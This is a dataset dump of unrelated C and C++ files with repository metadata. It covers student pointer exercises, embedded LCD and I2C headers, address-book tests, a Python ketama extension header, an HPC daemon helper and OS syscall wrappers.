while (*firstStr != 0)
{
if (*firstStr != *third)
{
return 0;
}
firstStr++;
third--;
}return 1;
}
// Problem 6: removeLetter (10 points)
// This function accepts an array of characters as well as a character to be removed from the array of characters.
// You must use pointer operations only. If you use array operations, you will recieve no credit for this part.
// All occurances of the 'letterToBeRemoved' should be removed from character array 'string'
// Example: If string = "letter", and letterToBeRemoved = 't', after this function terminates, string should contain "leer"
void removeLetter(char string[STRING_LENGTH], char letterToBeRemoved)
{
char *str1 = &string[0];
char *str2 = &string[0];
for (str1 = str2; *str1 != '\0'; str1++) {
*str2 = *str1;
if (*str2 != letterToBeRemoved){
str2++;
}else {}
}*str2 = '\0';
}
// You should study and understand how this main function works.
// Do not modify it in any way, there is no implementation needed here.
void main()
{
int selection;
char input[STRING_LENGTH];
printf("Assignment 4: Pointer Operations\n\n");
printf("Choose one of the following: \n1. Sorting Encrypted Strings\n2. Vowel Counter\n3. Palindrome\n4. Letter Remover\n\n");
scanf("%d", &selection); // store integer
getchar(); // consume newline char
if (selection == 1)
{
char strings[NUM_STRINGS][STRING_LENGTH]; // will store 5 strings each with a max length of 32
int key;
for (int i = 0; i < NUM_STRINGS; i++)
{
printf("\nEnter the next String: "); // prompt for string
fgets(input, sizeof(input), stdin); // store input string
input[strlen(input) - 1] = '\0'; // convert trailing '\n' char to '\0' (null terminator)
strcpy(strings[i], input); // copy input to 2D strings array
}
printf("\nEnter a key value for encryption: "); // prompt for integer
scanf("%d", &key); // store integer
encryptStrings(strings, key);
printf("\nEncrypted Strings:\n");
printStrings(strings);
sortStrings(strings);
decryptStrings(strings, key);
printf("\nSorted Strings:\n");
printStrings(strings);
}
else if (selection == 2)
{
printf("\nEnter a String: "); // prompt for string
fgets(input, sizeof(input), stdin); // store input string
input[strlen(input) - 1] = '\0'; // convert trailing '\n' char to '\0' (null terminator)
int numVowels = vowelCounter(input);
printf("\nThere are %d vowels in \"%s\"", numVowels, input);
}
else if (selection == 3)
{
printf("\nEnter a String: "); // prompt for string
fgets(input, sizeof(input), stdin); // store input string
input[strlen(input) - 1] = '\0'; // convert trailing '\n' char to '\0' (null terminator)
int isPalindrome = isAPalindrome(input);
if (isPalindrome)
printf("\nThe string \"%s\" is a palindrome", input);
else
printf("\nThe string \"%s\" is not a palindrome", input);
}
else if (selection == 4)
{
printf("\nEnter a String: "); // prompt for string
fgets(input, sizeof(input), stdin); // store input string
input[strlen(input) - 1] = '\0'; // convert trailing '\n' char to '\0' (null terminator)
char letterToBeRemoved;
printf("\nEnter a letter to be removed: "); // prompt for char
scanf(" %c", &letterToBeRemoved); // store input char
removeLetter(input, letterToBeRemoved);
printf("\nResult: %s", input);
}
else
{
printf("Program terminating...");
}
} | 3.1875 | 3 |
2024-11-18T20:12:17.626320+00:00 | 2016-05-11T22:50:11 | 7b29f3b64d4c2a271f4808b6ff3520f5e99e8cef | {
"blob_id": "7b29f3b64d4c2a271f4808b6ff3520f5e99e8cef",
"branch_name": "refs/heads/master",
"committer_date": "2016-05-11T22:50:11",
"content_id": "9734e1df9b0f30666b3b0b8c11ce9601131ea811",
"detected_licenses": [
"MIT"
],
"directory_id": "2de584eafa3bcace58b706ebdb93af0931f5e445",
"extension": "h",
"filename": "lcd.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 58560204,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1353,
"license": "MIT",
"license_type": "permissive",
"path": "/lcd/lcd.h",
"provenance": "stackv2-0024.json.gz:2157",
"repo_name": "ivanplex/Fortuna_Reader",
"revision_date": "2016-05-11T22:50:11",
"revision_id": "01355ce8bcea6bb98ae8f2ebc08107856a1685cd",
"snapshot_id": "a71dac5f677746284799e659f68d7569d7292256",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/ivanplex/Fortuna_Reader/01355ce8bcea6bb98ae8f2ebc08107856a1685cd/lcd/lcd.h",
"visit_date": "2020-12-24T21:21:26.103925"
} | stackv2 | /* Author: Steve Gunn
* Licence: This work is licensed under the Creative Commons Attribution License.
* View this license at http://creativecommons.org/about/licenses/
*
*
* - Jan 2015 Modified for LaFortuna (Rev A, black edition) [KPZ]
*/
#include <avr/io.h>
#include <stdint.h>
#include "svgrgb565.h"
#define LCDWIDTH 240
#define LCDHEIGHT 320
typedef enum {North, West, South, East} orientation;
typedef struct {
uint16_t width, height;
orientation orient;
uint16_t x, y;
uint16_t foreground, background;
} lcd;
extern lcd display;
typedef struct {
uint16_t left, right;
uint16_t top, bottom;
} rectangle;
void init_lcd();
void lcd_brightness(uint8_t i);
void set_orientation(orientation o);
void set_frame_rate_hz(uint8_t f);
void clear_screen();
void fill_rectangle(rectangle r, uint16_t col);
void fill_rectangle_indexed(rectangle r, uint16_t* col);
void display_char(char c);
void display_string(char *str);
void display_string_xy(char *str, uint16_t x, uint16_t y);
void display_move(uint16_t x, uint16_t y);
void display_color(uint16_t fg, uint16_t bg);
/* New Functions */
void println(char *input, uint16_t color);
void display_string_slowly(char *str);
void display_backspace(void);
void drawfooter();
void clear_scroll_area();
uint16_t get_y_position();
void move_to_footer(); | 2.40625 | 2 |
2024-11-18T20:13:49.096702+00:00 | 2021-01-16T04:16:04 | cfa6a5d458e501002da3ab02826b33d2bfe28356 | {
"blob_id": "cfa6a5d458e501002da3ab02826b33d2bfe28356",
"branch_name": "refs/heads/master",
"committer_date": "2021-01-16T04:16:04",
"content_id": "40aa446ecd40b1f233c6c7ad57feb5d3458fa19e",
"detected_licenses": [
"MIT"
],
"directory_id": "290e600e0d82142e81ec2fa518a965f29a13ff11",
"extension": "c",
"filename": "newWordCount.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 164472464,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 731,
"license": "MIT",
"license_type": "permissive",
"path": "/learning_c/chapter1/newWordCount.c",
"provenance": "stackv2-0024.json.gz:2927",
"repo_name": "Ethic41/learning_c-",
"revision_date": "2021-01-16T04:16:04",
"revision_id": "17a444d5a41d4f559330cf54bfb4bf6d0f7bd8b3",
"snapshot_id": "d79c9ca0179119cc23fc2093a3250c1c26e0a1ae",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/Ethic41/learning_c-/17a444d5a41d4f559330cf54bfb4bf6d0f7bd8b3/learning_c/chapter1/newWordCount.c",
"visit_date": "2021-06-20T18:32:43.729970"
} | stackv2 | #include <stdio.h>
#define IN 1 //inside a word
#define OUT 2 //outside a word
int recurse(int nl, int nw, int nc) ;
int main() {
int c, nl, nw, nc, state;
state = OUT;
nl = nw = nc = 0;
while ((c = getchar()) != '\t') {//note that using tab in place of EOF
++nc;
if (c == '\n') {
++nl;
}
if (c == ' ' || c == '\n' || c == '\t') {
state = OUT;
} else if (state == OUT) {
state = IN;
++nw;
}
}
recurse(nl, nw, nc);
}
int recurse(int nl, int nw, int nc) {
printf("no_of_lines ==> %d, no_of_words ==> %d, no_of_chars ==> %d\n", nl, nw, nc);
main();
}
//end of code
| 3.171875 | 3 |
2024-11-18T20:25:45.263914+00:00 | 2015-12-11T11:51:11 | 49a26c8c6234148bf86f47f0cfb7a10b59ac5ecd | {
"blob_id": "49a26c8c6234148bf86f47f0cfb7a10b59ac5ecd",
"branch_name": "refs/heads/master",
"committer_date": "2015-12-11T11:51:11",
"content_id": "5ca9f356cbcd73533df0875602c3459e635e3837",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "edbd4f8f29417765cb472601a6274e393814d21f",
"extension": "h",
"filename": "i2c.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 21015262,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3169,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/combus/i2c.h",
"provenance": "stackv2-0024.json.gz:50318",
"repo_name": "dptechnics/DPT-Board-SERV",
"revision_date": "2015-12-11T11:51:11",
"revision_id": "3323ab8418bf3977efd54516578d49955d5ed271",
"snapshot_id": "1b1163d1eeb738761d6f25e9e2977c3b7e5c95f4",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/dptechnics/DPT-Board-SERV/3323ab8418bf3977efd54516578d49955d5ed271/combus/i2c.h",
"visit_date": "2021-01-02T08:19:35.508252"
} | stackv2 | /*
* Copyright (c) 2015, Daan Pape
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* File: i2c.h
* Created on December 2, 2015, 7:55 AM
*/
#ifndef I2C_H
#define I2C_H
/* The maximum number of I2C-buses */
#define I2C_MAX_BUSES 5
#include <stdbool.h>
#include <stdint.h>
#include <linux/i2c-dev.h>
/**
* Enable an I2C-bus on 2 GPIO pins.
* @param busno the I2C bus number.
* @param sda the GPIO pin onto which the SDA line must be placed.
* @param scl the GPIO pin onto which the SCL line pmust be placed.
* @return true on success or false on error.
*/
bool i2c_enable_device(int busno, int sda, int scl);
/**
* Open an I2C-bus on this device. This can only be done after
* i2c_enable_device was called.
* @return true on success, false on error.
*/
bool i2c_open_bus(int busno);
/**
* Close an open I2C-bus.
* @param busno the number of the bus to close.
* @return true on success, false on error.
*/
bool i2c_close_bus(int busno);
/**
* Set-up the bus to read/write from/to a specific slave device
* address.
* @param busno the i2c-bus to use
* @param address the address to read/write from/to.
* @return true on success, false on error.
*/
bool i2c_set_slave_address(int busno, uint8_t address);
/**
* Write bytes to the I2C slave device.
* @param busno the i2c-bus to use.
* @param byte the byte array to write to the slave device.
* @param len the number of bytes to write.
* @return true on success, false on error.
*/
bool i2c_write_bytes(int busno, uint8_t* byte, int len);
/**
* Read from the I2C slave device.
* @param busno the i2c-bus to use.
* @param buffer the buffer to place the data in.
* @param len the number of bytes to read.
* @return the number of bytes read, 0 on EOF and -1 on error.
*/
int i2c_read(int busno, uint8_t* buffer, int len);
#endif
| 2.046875 | 2 |
2024-11-18T20:25:45.335117+00:00 | 2019-07-17T07:30:36 | 0ba79925fc817added9ec24623d0fc001cbe2095 | {
"blob_id": "0ba79925fc817added9ec24623d0fc001cbe2095",
"branch_name": "refs/heads/master",
"committer_date": "2019-07-17T07:30:36",
"content_id": "764c53b96dd537a4f778c139bf5838b920ebda98",
"detected_licenses": [
"MIT"
],
"directory_id": "1d87958027223b65301b2b367057cb429ae9fc7f",
"extension": "h",
"filename": "test.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 193868686,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4529,
"license": "MIT",
"license_type": "permissive",
"path": "/test.h",
"provenance": "stackv2-0024.json.gz:50446",
"repo_name": "ds-group-innovation/easy-address-book",
"revision_date": "2019-07-17T07:30:36",
"revision_id": "cb8719ac1b0a3f2f830bc37ec68b687d560ceca2",
"snapshot_id": "1fcf98ced70a23ebf94dc743d2ffb8e9a9d1f8f7",
"src_encoding": "GB18030",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ds-group-innovation/easy-address-book/cb8719ac1b0a3f2f830bc37ec68b687d560ceca2/test.h",
"visit_date": "2020-06-11T05:55:16.595385"
} | stackv2 | #ifndef TEST_H
#define TEST_H
#include"addresslist.h"
//----------------------------------------------------------------------------------------------
//以下是测试,可以考虑加个测试类
//测试create函数
void new_address_book_test()
{
address_book = create();
cout<<"加个人"<<endl;
add_person(address_book);
cout<<"通讯录";
show_address_list(address_book);
cout<<"存档"<<endl;
save_to_file(address_book);
//save_to_file_not_empty(address_book);
//forward_list *rear = get_the_rear(address_book);
//rear->people.show_info();
}
//文件操作测试
void file_test()
{
address_book = load_from_file();
//system("cls");
//system("pause");
show_address_list(address_book);
}
//搜索函数测试 ,对search_person进行测试
void search_test()
{
address_book = load_from_file();
show_address_list(address_book);
string name;
cout<<"请输入要查找的人的姓名: ";
cin>>name;
forward_list* found = search_person(address_book,name);
cout<<"这个比的个人信息"<<endl;
cout<<"姓名-地址-电话号码-邮政编码:"<<endl;
found->people.showInfo();
system("pause");
//被查的人挪到表头后
show_address_list(address_book);
}
//对search_people函数进行测试
void search_test_more()
{
address_book = load_from_file();
show_address_list(address_book);
string name;
cout<<"请输入要查找的人的姓名: ";
cin>>name;
vector<forward_list*> found = search_people(address_book,name);
if(found.empty())
cout<<"通讯录没有这个人";
else
{
for(auto i=found.begin();i!=found.end();i++)
{
(*i)->people.showInfo();
}
}
}
//对个人信息修改函数进行测试,mod_person_info
void mod_test()
{
address_book = load_from_file();
show_address_list(address_book);
string name;
cout<<"请输入你想要修改信息的人的姓名: ";
cin>>name;
mod_person_info(address_book,name);
cout<<"修改后"<<endl;
show_address_list(address_book);
system("pause");
}
//对mod_people_info进行测试
void mod_more_test()
{
address_book = load_from_file();
show_address_list(address_book);
string name;
cout<<"请输入你想要修改信息的人的姓名: ";
cin>>name;
mod_people_info(address_book,name);
cout<<"修改后"<<endl;
system("pause");
show_address_list(address_book);
}
//对get_the_lastone进行测试
void lastone_test()
{
address_book = load_from_file();
show_address_list(address_book);
forward_list *p = address_book->next;
p = p->next->next;
forward_list *last = get_the_lastone(address_book,p);
cout<<"----------"<<endl;
last->people.showInfo();
system("pause");
}
//对move_to_head进行测试
void move_to_head_test()
{
address_book = load_from_file();
show_address_list(address_book);
string name;
cout<<"请输入要查找的人的姓名: ";
cin>>name;
forward_list *found = search_person(address_book,name);
system("pause");
//移动被搞过的人
address_book = move_to_head(address_book,found);
show_address_list(address_book);
system("pause");
}
//处理单个
void delete_test()
{
forward_list *book = load_from_file();
show_address_list(book);
string delete_name;
cout<<"请输入要删除的人的姓名:";
cin>>delete_name;
if(search_person(book,delete_name))
book = delete_person(book,delete_name);
cout<<"删除后"<<endl;
system("pause");
//很奇怪,没释放完,内存泄漏????
//book->people.show_info();
cout<<"---"<<endl;
show_address_list(book);
//cout<<endl<<"???";
system("pause");
}
//存在多个同名情况处理
void delete_more_test()
{
address_book = load_from_file();
show_address_list(address_book);
string delete_name;
cout<<"请输入要删除的人的姓名:";
cin>>delete_name;
address_book = delete_people(address_book,delete_name);
cout<<"删除后";
show_address_list(address_book);
}
//追加操作测试
void save_to_file_not_empty_test()
{
address_book = create();
show_address_list(address_book);
if(!is_empty_file())
{
string select;
cout<<"文件不是空的,已有数据存在,是否要追加信息(yes or no):";
cin>>select;
if(select == "yes")
{
save_to_file_not_empty(address_book);
}
else//覆盖
{
save_to_file(address_book);
}
}
else
{
save_to_file(address_book);
}
return ;
}
//----------------------------------------------------------------------------------------------
#endif
| 2.5 | 2 |
2024-11-18T20:26:16.394554+00:00 | 2018-09-17T13:51:48 | ceddf5239e4ca6a37d931a449867b457bf91d414 | {
"blob_id": "ceddf5239e4ca6a37d931a449867b457bf91d414",
"branch_name": "refs/heads/master",
"committer_date": "2018-09-17T13:51:48",
"content_id": "efc6daac09506dbb57036c92d87001f22767426d",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "4a3613977511162f1a610c93b8ea0d3fa690c313",
"extension": "h",
"filename": "ketamamodule.h",
"fork_events_count": 1,
"gha_created_at": "2018-09-14T12:38:22",
"gha_event_created_at": "2023-04-07T00:19:22",
"gha_language": "C",
"gha_license_id": "BSD-2-Clause",
"github_id": 148786434,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5078,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/python_ketama/ketamamodule.h",
"provenance": "stackv2-0024.json.gz:50960",
"repo_name": "dailymotion/ketama",
"revision_date": "2018-09-17T13:51:48",
"revision_id": "474b944a00ed9c3fb337f379674f0a02fd347181",
"snapshot_id": "56a3226559e49e3a5115f98c3c8c9ea3680adb3f",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/dailymotion/ketama/474b944a00ed9c3fb337f379674f0a02fd347181/python_ketama/ketamamodule.h",
"visit_date": "2023-05-31T01:42:18.512018"
} | stackv2 | /**
* $Id: ketamamodule.h 23 2007-07-13 01:32:00Z toxik $
*
* License: See ../LICENSE or
* svn://svn.audioscrobbler.net/misc/ketama/LICENSE
*/
#ifndef _PYKETAMA_H
#define _PYKETAMA_H
#include <Python.h>
#include <ketama.h>
/* Common idiom goes to macro, that's it. */
#define PY_DEF(name, self, args) static PyObject *(name)( \
PyObject *(self), PyObject *(args))
#define PY_KDEF(name, self, args, kwds) static PyObject *(name)( \
PyObject *(self), PyObject *(args) PyObject *(kwds))
PyObject *pyketama_error;
/* {{{ Continuum def */
typedef struct {
PyObject_HEAD
ketama_continuum cont;
char *filename;
} pyketama_Continuum;
static void pyketama_Continuum_dealloc(pyketama_Continuum *self);
PyObject * pyketama_Continuum_new(PyTypeObject *type,
PyObject *args, PyObject *kwds);
static int pyketama_Continuum_init(PyObject *self, PyObject *args,
PyObject *kwds);
static PyObject *pyketama_Continuum_repr(PyObject *o);
PY_DEF(pyketama_Continuum_get_server, self, args);
PY_DEF(pyketama_Continuum_get_points, self, args);
/* get_server could use METH_O instead of METH_VARARGS, but ParseTuple is
* a lot more flexible somehow.
*/
static PyMethodDef pyketama_Continuum_methods[] = {
{"get_server", pyketama_Continuum_get_server, METH_VARARGS,
"Return a tuple containing point on circle and address where hash is."},
{"get_points", pyketama_Continuum_get_points, METH_NOARGS,
"Return a list with all points and associated server."},
{NULL}
};
/* See http://docs.python.org/api/type-structs.html for more information
* regarding the struct's members.
*/
static PyTypeObject pyketama_ContinuumType = {
PyObject_HEAD_INIT(NULL)
0,
"ketama.Continuum", /* tp_name */
sizeof(pyketama_Continuum), /* tp_basicsize */
0, /* tp_itemsize */
/* Methods to implement standard operations */
(destructor)pyketama_Continuum_dealloc, /* tp_dealloc */
0, /* tp_print */
0, /* tp_getattr */
0, /* tp_setattr */
0, /* tp_compare */
(reprfunc)pyketama_Continuum_repr, /* tp_repr */
/* Method suites for standard classes */
0, /* tp_as_number */
0, /* tp_as_sequence */
0, /* tp_as_mapping */
/* More standard operations (here for binary compatibility) */
0, /* tp_hash */
0, /* tp_call */
0, /* tp_str */
0, /* tp_getattro */
0, /* tp_setattro */
/* Functions to access object as input/output buffer */
0, /* tp_as_buffer */
/* Flags to define presence of optional/expanded features */
Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,
/* Documentation string */
"Ketama continuum type",
0, /* tp_traverse */
0, /* tp_clear */
0, /* tp_richcompare */
0, /* tp_weaklistoffset */
/* Iterator API */
0, /* tp_iter */
0, /* tp_iternext */
/* Attribute descriptor and subclassing stuff */
pyketama_Continuum_methods, /* tp_methods */
0, /* tp_members */
0, /* tp_getset */
0, /* tp_base */
0, /* tp_dict */
0, /* tp_descr_get */
0, /* tp_descr_set */
0, /* tp_dictoffset */
(initproc)pyketama_Continuum_init, /* tp_init */
0, /* tp_alloc */
pyketama_Continuum_new, /* tp_new */
0, /* tp_free */
0, /* tp_is_gc */
0, /* tp_bases */
0, /* tp_mro */
0, /* tp_cache */
0, /* tp_subclasses */
0, /* tp_weaklist */
};
/* }}} Continuum def */
PY_DEF(pyketama_hashi, self, args);
/* See comment at the pyketama_Continuum_methods definition.
*/
static PyMethodDef ketamaMethods[] = {
{"hashi", pyketama_hashi, METH_VARARGS, "Calculates hash from input key"},
{NULL}
};
PyMODINIT_FUNC initketama(void);
#endif
/* vim: ts=4 sts=4 expandtab
*/
| 2.109375 | 2 |
2024-11-18T20:37:13.754873+00:00 | 2023-08-03T22:35:37 | 2a205f698124d627a8436b3bb1635e56930b9110 | {
"blob_id": "2a205f698124d627a8436b3bb1635e56930b9110",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-03T22:35:37",
"content_id": "b046ff1a823080b8cda2fb73cf8503448291a72f",
"detected_licenses": [
"Linux-OpenIB"
],
"directory_id": "9bfd61f3ceaf77129b8c7b8441f1c129b2ecc3ea",
"extension": "c",
"filename": "alps_dl.c",
"fork_events_count": 1,
"gha_created_at": "2019-07-24T22:21:20",
"gha_event_created_at": "2023-08-03T22:35:38",
"gha_language": "C++",
"gha_license_id": "NOASSERTION",
"github_id": 198717167,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2091,
"license": "Linux-OpenIB",
"license_type": "permissive",
"path": "/src/backend/daemon/alps_dl.c",
"provenance": "stackv2-0024.json.gz:121175",
"repo_name": "common-tools-interface/cti",
"revision_date": "2023-08-03T22:35:37",
"revision_id": "7822866160a1944f7fe8317a8e9910c54085f01d",
"snapshot_id": "a2ca118f31f93bad3396d917913e7594dbdab035",
"src_encoding": "UTF-8",
"star_events_count": 8,
"url": "https://raw.githubusercontent.com/common-tools-interface/cti/7822866160a1944f7fe8317a8e9910c54085f01d/src/backend/daemon/alps_dl.c",
"visit_date": "2023-08-17T02:30:34.747033"
} | stackv2 | /******************************************************************************\
* alps_dl.c - Alps specific functions for the daemon launcher.
*
* Copyright 2014-2020 Hewlett Packard Enterprise Development LP.
* SPDX-License-Identifier: Linux-OpenIB
******************************************************************************/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif /* HAVE_CONFIG_H */
#include <stdio.h>
#include <stdlib.h>
#include "cti_daemon.h"
/* static prototypes */
static int _cti_alps_init(void);
static int _cti_alps_getNodeID(void);
/* alps wlm proto object */
cti_wlm_proto_t _cti_alps_wlmProto =
{
CTI_WLM_ALPS, // wlm_type
_cti_alps_init, // wlm_init
_cti_alps_getNodeID // wlm_getNodeID
};
/* functions start here */
static int
_cti_alps_init(void)
{
// Set LC_ALL to POSIX - on Cray platforms this has been shown to significantly
// speed up load times if the tool daemon is invoking the shell.
if (setenv("LC_ALL", "POSIX", 1) < 0)
{
// failure
fprintf(stderr, "%s: setenv failed\n", CTI_BE_DAEMON_BINARY);
return 1;
}
// set the SHELL environment variable to the shell included on the compute
// node. Note that other shells other than /bin/sh are not currently supported
// in CNL.
if (setenv(SHELL_ENV_VAR, SHELL_PATH, 1) < 0)
{
// failure
fprintf(stderr, "%s: setenv failed\n", CTI_BE_DAEMON_BINARY);
return 1;
}
return 0;
}
static int
_cti_alps_getNodeID(void)
{
FILE * alps_fd;
int nid;
char file_buf[BUFSIZ];
// read the nid from the system location
// open up the file defined in the alps header containing our node id (nid)
if ((alps_fd = fopen(ALPS_XT_NID, "r")) == NULL)
{
fprintf(stderr, "%s: %s not found.\n", CTI_BE_DAEMON_BINARY, ALPS_XT_NID);
return -1;
}
// we expect this file to have a numeric value giving our current nid
if (fgets(file_buf, BUFSIZ, alps_fd) == NULL)
{
fprintf(stderr, "%s: fgets failed.\n", CTI_BE_DAEMON_BINARY);
return -1;
}
// convert this to an integer value
nid = atoi(file_buf);
// close the file stream
fclose(alps_fd);
return nid;
}
| 2.390625 | 2 |
2024-11-18T20:37:13.989592+00:00 | 2021-08-21T11:29:30 | 470c48c1fda1bbad26be7829d5e0478f83212ca5 | {
"blob_id": "470c48c1fda1bbad26be7829d5e0478f83212ca5",
"branch_name": "refs/heads/master",
"committer_date": "2021-08-21T11:29:30",
"content_id": "36b4bd167b9249ca30d09cff3fcdcaaa28a5eef1",
"detected_licenses": [
"MIT"
],
"directory_id": "8fcf6e477f70eccecf00ad3c0947d88d2c76c8e9",
"extension": "c",
"filename": "pxcall.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 392516042,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2394,
"license": "MIT",
"license_type": "permissive",
"path": "/libraries/libpx/amd64/src/pxcall.c",
"provenance": "stackv2-0024.json.gz:121304",
"repo_name": "betopp/pathetix",
"revision_date": "2021-08-21T11:29:30",
"revision_id": "a18a1211f6f3ca3c9ebd0e3de6784ae0591d1265",
"snapshot_id": "327235fdf7c3bd341ac90061a5dc4f6f0fc19bc3",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/betopp/pathetix/a18a1211f6f3ca3c9ebd0e3de6784ae0591d1265/libraries/libpx/amd64/src/pxcall.c",
"visit_date": "2023-07-15T14:00:52.521815"
} | stackv2 | //pxcall.c
//Entry points for system-calls
//Bryan E. Topp <[email protected]> 2021
#include "px.h"
//Actual system-call triggers, for each number of parameters, defined in syscall.asm
extern uint64_t _pxcall0(uint64_t call);
extern uint64_t _pxcall1(uint64_t call, uint64_t p1);
extern uint64_t _pxcall2(uint64_t call, uint64_t p1, uint64_t p2);
extern uint64_t _pxcall3(uint64_t call, uint64_t p1, uint64_t p2, uint64_t p3);
extern uint64_t _pxcall4(uint64_t call, uint64_t p1, uint64_t p2, uint64_t p3, uint64_t p4);
extern uint64_t _pxcall5(uint64_t call, uint64_t p1, uint64_t p2, uint64_t p3, uint64_t p4, uint64_t p5);
//Use macro-trick to define system-call entries.
#define PXCALL0R(num, rt, name) \
rt name(void) { \
return (rt)_pxcall0(num); }
#define PXCALL0V(num, rt, name) \
rt name(void) { \
_pxcall0(num); }
#define PXCALL1R(num, rt, name, p1t) \
rt name(p1t p1) { \
return (rt)_pxcall1(num, (uint64_t)p1); }
#define PXCALL1V(num, rt, name, p1t) \
rt name(p1t p1) { \
_pxcall1(num, (uint64_t)p1); }
#define PXCALL2R(num, rt, name, p1t, p2t) \
rt name(p1t p1, p2t p2) { \
return (rt)_pxcall2(num, (uint64_t)p1, (uint64_t)p2); }
#define PXCALL2V(num, rt, name, p1t, p2t) \
rt name(p1t p1, p2t p2) { \
_pxcall2(num, (uint64_t)p1, (uint64_t)p2); }
#define PXCALL3R(num, rt, name, p1t, p2t, p3t) \
rt name(p1t p1, p2t p2, p3t p3) { \
return (rt)_pxcall3(num, (uint64_t)p1, (uint64_t)p2, (uint64_t)p3); }
#define PXCALL3V(num, rt, name, p1t, p2t, p3t) \
rt name(p1t p1, p2t p2, p3t p3) { \
_pxcall3(num, (uint64_t)p1, (uint64_t)p2, (uint64_t)p3); }
#define PXCALL4R(num, rt, name, p1t, p2t, p3t, p4t) \
rt name(p1t p1, p2t p2, p3t p3, p4t p4) { \
return (rt)_pxcall4(num, (uint64_t)p1, (uint64_t)p2, (uint64_t)p3, (uint64_t)p4); }
#define PXCALL4V(num, rt, name, p1t, p2t, p3t, p4t) \
rt name(p1t p1, p2t p2, p3t p3, p4t p4) { \
_pxcall4(num, (uint64_t)p1, (uint64_t)p2, (uint64_t)p3, (uint64_t)p4); }
#define PXCALL5R(num, rt, name, p1t, p2t, p3t, p4t, p5t) \
rt name(p1t p1, p2t p2, p3t p3, p4t p4, p5t p5) { \
return (rt)_pxcall5(num, (uint64_t)p1, (uint64_t)p2, (uint64_t)p3, (uint64_t)p4, (uint64_t)p5); }
#define PXCALL5V(num, rt, name, p1t, p2t, p3t, p4t, p5t) \
rt name(p1t p1, p2t p2, p3t p3, p4t p4, p5t p5) { \
_pxcall5(num, (uint64_t)p1, (uint64_t)p2, (uint64_t)p3, (uint64_t)p4, (uint64_t)p5); }
#include "../../pxcall.h"
| 2.359375 | 2 |
2024-11-18T20:37:14.126229+00:00 | 2022-06-13T10:16:22 | a3a55a70b6dd4b6b30da8dfb087674e2e4588205 | {
"blob_id": "a3a55a70b6dd4b6b30da8dfb087674e2e4588205",
"branch_name": "refs/heads/master",
"committer_date": "2022-06-13T10:16:22",
"content_id": "0ad30754fe8738deb10ba78d98820008987defe2",
"detected_licenses": [
"MIT"
],
"directory_id": "8f0b3cd34cce2dabe57f08c78e6b08b33f4e78bb",
"extension": "c",
"filename": "png_to_array.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 190270656,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2062,
"license": "MIT",
"license_type": "permissive",
"path": "/srcs/core/png_to_array.c",
"provenance": "stackv2-0024.json.gz:121432",
"repo_name": "kibotrel/PNG-Parser",
"revision_date": "2022-06-13T10:16:22",
"revision_id": "645c9fdd33522e68a7a3b4231264d316e6f6ee82",
"snapshot_id": "73d8009cd56c4b2edcb31ea1db86ca1f27348077",
"src_encoding": "UTF-8",
"star_events_count": 5,
"url": "https://raw.githubusercontent.com/kibotrel/PNG-Parser/645c9fdd33522e68a7a3b4231264d316e6f6ee82/srcs/core/png_to_array.c",
"visit_date": "2022-06-26T16:17:11.913795"
} | stackv2 | /* ************************************************************************** */
